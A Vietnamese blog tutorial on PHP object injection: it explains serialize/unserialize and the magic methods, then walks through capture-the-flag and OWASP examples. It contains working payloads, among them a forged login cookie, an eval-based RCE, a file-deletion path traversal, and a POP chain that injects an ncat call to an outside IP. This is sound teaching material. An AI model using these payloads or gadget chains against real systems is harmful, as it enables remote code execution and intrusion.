PHP Object Injection a.k.a PHP Insecure Deserialization

Ở PHP lổ hổng deserialization còn được gọi là PHP object injection. Để có thể hiểu về vấn đề này, trước tiên ta phải biết PHP serialize và deserialize một đối tượng như thế nào.
PHP có 2 hàm là serialize() và unserialize() đảm nhận 2 nhiệm vụ này.

serialize(): PHP object -> plain old string that represents the object
unserialize(): string containing object data -> original object

Ví dụ serialize object User:

<?php
class User{
  public $id;
  public $username;
  public $role;
  public $verify;
  
}
$user = new User;
$user->id = 1;
$user->username = 'lilthawg29';
$user->role = 'admin';
$user->verify = true;
echo serialize($user);
?>

Kết quả trả về:

O:4:"User":4:{s:2:"id";i:1;s:8:"username";s:10:"lilthawg29";s:4:"role";s:5:"admin";s:6:"verify";b:1;}

Sample serialize data:

O:LENTH_OF_NAME:"CLASS_NAME":NUMBER_OF_PROPERTIES:{PROPERTIES}

Ta dễ dàng hình dung được thông tin khi đã serialize rồi (php serialize khá dễ hiểu), ví dụ:

Object có 4 ký tự tên là User có 4 thuộc tính:

  • kiểu string, có 2 ký tự tên là id;
  • … tương tự

Deserialize thì ngược lại

<?php
class User{
  public $id;
  public $username;
  public $role;
  public $verify;
  
}
$user = new User;
$user->id = 1;
$user->username = 'lilthawg29';
$user->role = 'admin';
$user->verify = true;
$serializedUser = serialize($user);
var_dump(unserialize($serializedUser));
?>

Một điểm quan trọng ở đây là khai thác lỗ hổng Deserialize không phải là gửi các đoạn code lên chương trình để thực thi. Chúng ta chỉ đơn giản là gửi thuộc tính của các lớp mà máy chủ đã có biết để thực hiện tác thao tác mã đã có, liên quan đến các thuộc tính đó. Để khai thác thành công lỗ hổng Deserialization cần có 2 điều kiện:

  • Điểm đầu vào, là nơi mà kẻ tấn công gửi các dữ liệu đã được serialize đến mục tiêu và mục tiêu sẽ thực hiện deserialize đoạn dữ liệu này.
  • Kẻ tấn công có thể thao túng được một hoặc nhiều đoạn mã thông qua quá trình deserialize.

Trong PHP, người lập trình có thể định nghĩa một hàm được gọi tự động. Các hàm như vậy không cần một hàm khác gọi để thực thi. Với tính năng này, có một vài hàm trong PHP được gọi là “magic functions” hay “magic methods”, những hàm đó được tự động gọi trong một số ngữ cảnh khác nhau và dấu hiệu nhận biết là tên của các function này có hai dấu gạch dưới đứng trước. Chúng được khai báo ngay từ đầu và không thể được tạo lại hoặc bị xoá. Một vài hàm điển hình như sau: __construct(), __destruct(), __call(), __callStatic(), __get(), __set(), __isset(), __unset(), __sleep(), __wakeup(), __serialize(), __unserialize(), __toString(), __invoke(), __set_state(), __clone(), and __debugInfo().

Magic method

__sleep

+Phương thức __sleep() sẽ được gọi khi chúng ta thực hiện serialize() đối tượng.
+Thông thường khi chúng ta serialize() một đối tượng thì nó sẽ trả về tất cả các thuộc tính trong đối tượng đó. Nhưng nếu sử dụng __sleep() thì chúng ta có thể quy định được các thuộc tính có thể trả về.
+Chú ý: phương thức __sleep() luôn trả về giá trị là một mảng.

public function __sleep()
{
    return ['property1', 'property2', ..., 'propertyn'];
}

Trong đó: property1, property2,… là các thuộc tính sẽ được trả về khi serialize() đối tượng.
Ví dụ:

<?php
class User{
  public $id;
  public $username;
  public $role;
  public $verify;
  public function __sleep()
  {
     return ["id", "username"];
  }
}
$user = new User;
$user->id = 1;
$user->username = 'lilthawg29';
$user->role = 'admin';
$user->verify = true;
echo serialize($user);
?>

Kết quả chỉ trả về id và username do ta đã return trong hàm __sleep()

__wakeup

__wakeup: Phương thức __wakeup() sẽ được gọi khi chúng ta unserialize() đối tượng. Chúng thường được sử dụng để thực thi một hoặc nhiều hành động nào đó khi đối tượng được unserialize()

Cú pháp:

public function __wakeup()
{
    //code
}

ví dụ:

<?php
class User{
  public $username;
  public $status;
  public function __wakeup()
  {
      echo "__wakeup() method calling";
  }
}
$user = new User;
$user->username = 'vickie';
$user->status = 'not admin';
$serialized_string = serialize($user);
unserialize($serialized_string);
?>

Kết quả trả về:

__construct

__construct: Hàm __construct() sẽ tự đông được gọi khi ta khởi tạo 1 đối tượng( còn được gọi là hàm khởi tạo).

Cú pháp:

public function __construct()
{
    //code
}

Ví dụ:

<?php
class Fruit {
  public $name;
  public $color;
 
  function __construct($name) {
    $this->name = $name;
    echo "__construct() method calling\n";
  }
  function get_name() {
    return $this->name;
  }
}
 
$apple = new Fruit("Apple");
echo $apple->get_name();
?>

__destruct

__destruct: Được gọi khi một đối tượng bị hủy. Mặc định khi kết thúc chương trình hoặc khi ta khai báo mới đối tượng đó sẽ bị hủy bỏ và gọi đến method __destruct().

Cú pháp:

public function __destruct()
{
    //code
}

Ví dụ:

<?php
class Fruit {
  public $name;
  public $color;
 
  function __construct($name) {
    $this->name = $name;
  }
  function __destruct() {
    echo "The fruit is {$this->name}.";
  }
}
 
$apple = new Fruit("Apple");
?>

__toString

__toString: Phương thức __toString() sẽ được gọi khi chúng ta dùng đối tượng như một string.

Cú pháp:

public function __toString()
{
    //code
}

Ví dụ:

<?php
class Fruit {
  public $name;
  public $color;
 
  function __construct($name) {
    $this->name = $name;
  }
  function __toString() {
    echo "hihi ";
    return "__toString()  method calling\n";
  }
}
 
$apple = new Fruit("Apple");
echo($apple);
?>

Cách thức hoạt động của unserialize()

Bước 1: Khởi tạo đối tượng
unserialize() lấy chuỗi được serialized, chỉ định class và các thuộc tính của đối tượng đó. Với dữ liệu đó, unserialize() tạo một bản sao của đối tượng được serialized ban đầu. Sau đó, nó sẽ tìm kiếm hàm __wakeup() và thực thi mã trong hàm đó. __wakeup () tái tạo lại bất kỳ tài nguyên nào mà đối tượng có thể có. Nó được sử dụng để thiết lập lại bất kỳ kết nối cơ sở dữ liệu nào đã bị mất trong quá trình serializing và thực hiện các tác vụ khởi tạo khác.
Bước 2: Chương trình sử dụng đối tượng:
Chương trình hoạt động trên đối tượng và sử dụng nó để thực hiện các hành động khác.
Bước 3: Phá hủy đối tượng:
Cuối cùng, khi không có tham chiếu nào đến đối tượng đã deserialized đang tồn tại, __destruct() được gọi để dọn dẹp đối tượng.

Khai thác lổ hổng PHP deserialization

Khi ta kiểm soát một đối tượng được serilized truyền vào unserialize(), ta có thể kiểm soát các thuộc tính của đối tượng đã tạo. Ta cũng có thể kiểm soát luồng của ứng dụng bằng cách kiểm soát các giá trị được truyền vào các phương thức được thực thi tự động như __wakeup() hoặc __destruct(). Việc này có thể dẫn đến code execution, SQL injection, path traversal, hoặc DoS, …

Ví dụ: challenge PHP – Serialization

Có cung cấp sẵn source code

Ta để ý $data = unserialize($_COOKIE['autologin']); nhận dữ liệu từ cookie và unserialize nên bật burpsuite nên để check xem cookie có gì hay ho

a:2:{s:5:"login";s:5:"guest";s:8:"password";s:64:"84983c60f7daadc1cb8698621f802c0d9f9a3c3c295c810748fb048115c186ec";}

Ta sửa payload thành a:2:{s:5:"login";s:10:"superadmin";s:8:"password";i:1;} hoặc a:2:{s:5:"login";s:10:"superadmin";s:8:"password";b:1;}

Giải thích vì login yêu cầu phải là superadmin

và đổi thành 1 để bypass check passwd

Ví dụ khi desialize trên OWASP https://owasp.org/www-community/vulnerabilities/PHP_Object_Injection

Ví dụ 1: Phương thức __destruct

<?php
class Example1
{
   public $cache_file;

   function __construct()
   {
      // some PHP code...
   }

   function __destruct()
   {
      $file = $this->cache_file;
      if (file_exists($file)) @unlink($file);
   }
}

// some PHP code...
$user_data = unserialize('O:8:"Example1":1:{s:10:"cache_file";s:16:"../flag/flag.txt";}');
echo $user_data;

// some PHP code...
?>

Sau khi unserialize thì file flag.txt bị xoá mất

Đã xóa:

có thể thấy rằng hacker có thể xoá bất cứ tệp tin nào trên máy thông qua Path traversal. Khi unserialize, php khởi tạo 1 đối tượng mới của class Example 1, và sau khi khởi tạo thì ta kết thúc, đoạn code trong __destruct được thực thi và đi xoá file nhận được từ biến $cache_file.

Ví dụ 2: Phương thức __wakeup

<?php
class Example2
{
   private $hook;

   function __construct()
   {
      // some PHP code...
   }

   function __wakeup()
   {
      if (isset($this->hook)) eval($this->hook);
   }
}

// some PHP code...
$user_input = "";
$user_data = unserialize($user_input);

// some PHP code...

?>

func __wakeup khi unserialize sẽ tự động được gọi và thực thi code trong đó, vì nó có sử dụng eval nên nếu ta set biến $hook theo ý muốn thì hoàn toàn có thể RCE được. Ta sinh payload bằng cách:

<?php
class Example2
{
   private $hook = 'system("whoami");';

   function __construct()
   {
      // some PHP code...
   }

   function __wakeup()
   {
      if (isset($this->hook)) eval($this->hook);
   }
}

// echo serialize(new Example2);

// some PHP code...
$user_input = serialize(new Example2);
$user_data = unserialize($user_input);

// some PHP code...

?>

PHP Pop Chain

Đôi khi các magic method của class không chứa bất kì đoạn code nào hữu ích cho việc khai thác lổ hổng deserialization. Lúc này các phương thức mà ta đề ra phía trên kia hoàn toàn không có tác dụng. Kể cả có như thế, hacker vẫn có thể tấn công mục tiêu bằng cách sử dụng POP chain. Nó có thể khiến hacker có thể điều khiển được tất cả thuộc tính của đối tượng được deserialized… POP chain hoạt động bằng cách xâu chuỗi các gadget lại với nhau để có thể đạt được mục tiêu.

Magic methods là gadget đầu tiên, nó có thể call tới các method khác (gadgets) và giúp ta kiểm soát tất cả các thuộc tính.

Ví dụ 1:

<?php
class TempFile {
  public $handle;
  public function __destruct() {
    $this->shutdown();
  }
  public function shutdown() {
    $this->handle->close();
  }
}

class Process {
  public $pid;
  public function close() {
    system('taskkill /F /PID ' . $this->pid);
  }
}

Đoạn code trên gồm 3 gadgets (3 methods), ta có thể kết hợp với command injection bằng payload O:8:"TempFile":1:{s:6:"handle";O:7:"Process":1:{s:3:"pid";s:27:"1 & ncat 172.27.42.249 9999";}}

<?php
class TempFile {
  public $handle;
  public function __destruct() {
    $this->shutdown();
  }
  public function shutdown() {
    $this->handle->close();
  }
}

class Process {
  public $pid;
  public function close() {
    system('taskkill /F /PID ' . $this->pid);
  }
}

var_dump(unserialize('O:8:"TempFile":1:{s:6:"handle";O:7:"Process":1:{s:3:"pid";s:27:"1 & ncat 172.27.42.249 9999";}}'))

?>

Kết quả:

Sinh payload:

<?php
class TempFile {
  public $handle;
  public function __destruct() {
    $this->shutdown();
  }
  public function shutdown() {
    $this->handle->close();
  }
}

class Process {
  public $pid;
  public function close() {
    system('taskkill /F /PID ' . $this->pid);
  }
}

$process = new Process();
$process->pid = '1 & ncat 172.27.42.249 9999';
// echo serialize($process);
$tempfile = new TempFile();
$tempfile->handle = $process;
echo serialize($tempfile);

Ví dụ 2: http://challenge01.root-me.org/web-serveur/ch75/index.php?source

<?php

$getflag = false;

class GetMessage {
    function __construct($receive) {
        if ($receive === "HelloBooooooy") {
            die("[FRIEND]: Ahahah you get fooled by my security my friend!<br>");
        } else {
            $this->receive = $receive;
        }
    }

    function __toString() {
        return $this->receive;
    }

    function __destruct() {
        global $getflag;
        if ($this->receive !== "HelloBooooooy") {
            die("[FRIEND]: Hm.. you don't see to be the friend I was waiting for..<br>");
        } else {
            if ($getflag) {
                include("flag.php");
                echo "[FRIEND]: Oh ! Hi! Let me show you my secret: ".$FLAG . "<br>";
            }
        }
    }
}

class WakyWaky {
    function __wakeup() {
        echo "[YOU]: ".$this->msg."<br>";
    }

    function __toString() {
        global $getflag;
        $getflag = true;
        return (new GetMessage($this->msg))->receive;
    }
}

if (isset($_GET['source'])) {
    highlight_file(__FILE__);
    die();
}

if (isset($_POST["data"]) && !empty($_POST["data"])) {
    unserialize($_POST["data"]);
}

?>

Bài này ta cần cho $receive === "HelloBooooooy" và $getflag = TRUE điều kiện đầu tiên có thể bypass bằng cách:

$a = new GetMessage('a');
$a->receive = 'HelloBooooooy';

tiếp theo đến điều kiện thứ 2 chắc chắn phải call được hàm __toString của class WakyWaky thì mới change $getflag = TRUE được:

$b = new WakyWaky(); 
$b->msg = $a; // call __toString method of $a 

ta cấp biến msg của object b là object a, để khi unserialize, hàm __wakeup() sẽ được gọi ngay đầu và $this->msg lúc này sẽ là GetMessage->__toString() và ta được đoạn đầu [YOU]: HelloBooooooy

phải call __toString method of $b thì ta mới $getflag = TRUE được nên ta phải lắp last gadget để thành 1 gadget chain hoàn chỉnh (magic vl)

$c = new WakyWaky();
$c->msg = $b; // call __toString method of $b
<?php
$getflag = false;

class GetMessage {
    
    function __construct($receive) {
        if ($receive === "HelloBooooooy") {
            die("[FRIEND]: Ahahah you get fooled by my security my friend!<br>");
        } else {
            $this->receive = $receive;
        }
    }

    function __toString() {
        return $this->receive;
    }

    function __destruct() {
        // echo "$this->receive\n" ;
        
        global $getflag;
        // var_dump($getflag);
        if ($this->receive !== "HelloBooooooy") {
            die("[FRIEND]: Hm.. you don't see to be the friend I was waiting for..<br>");
        } else {
            if ($getflag) {
                include("flag.php");
                echo "[FRIEND]: Oh ! Hi! Let me show you my secret: ".$FLAG . "<br>";
            }
        }
    }
}

class WakyWaky {
    function __wakeup() {
        echo "[YOU]: ".$this->msg."<br>";
    }

    function __toString() {
        global $getflag;
        $getflag = true;
        return (new GetMessage($this->msg))->receive;
    }
}

$a = new GetMessage('a');
$a->receive = 'HelloBooooooy';
// echo serialize($a) . "\n";
// var_dump(unserialize(serialize($a)));

$b = new WakyWaky(); 
$b->msg = $a; // call __toString method of $a 
// echo serialize($b) . "\n";
// var_dump(unserialize(serialize($b)));

$c = new WakyWaky();
$c->msg = $b; // call __toString method of $b
echo serialize($c) . "\n";
unserialize(serialize($c));
?> 

gửi payload O:8:"WakyWaky":1:{s:3:"msg";O:8:"WakyWaky":1:{s:3:"msg";O:10:"GetMessage":1:{s:7:"receive";s:13:"HelloBooooooy";}}} là ta lụm flag

Refer:

Published by Nhat Truong

Hi

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s

%d bloggers like this: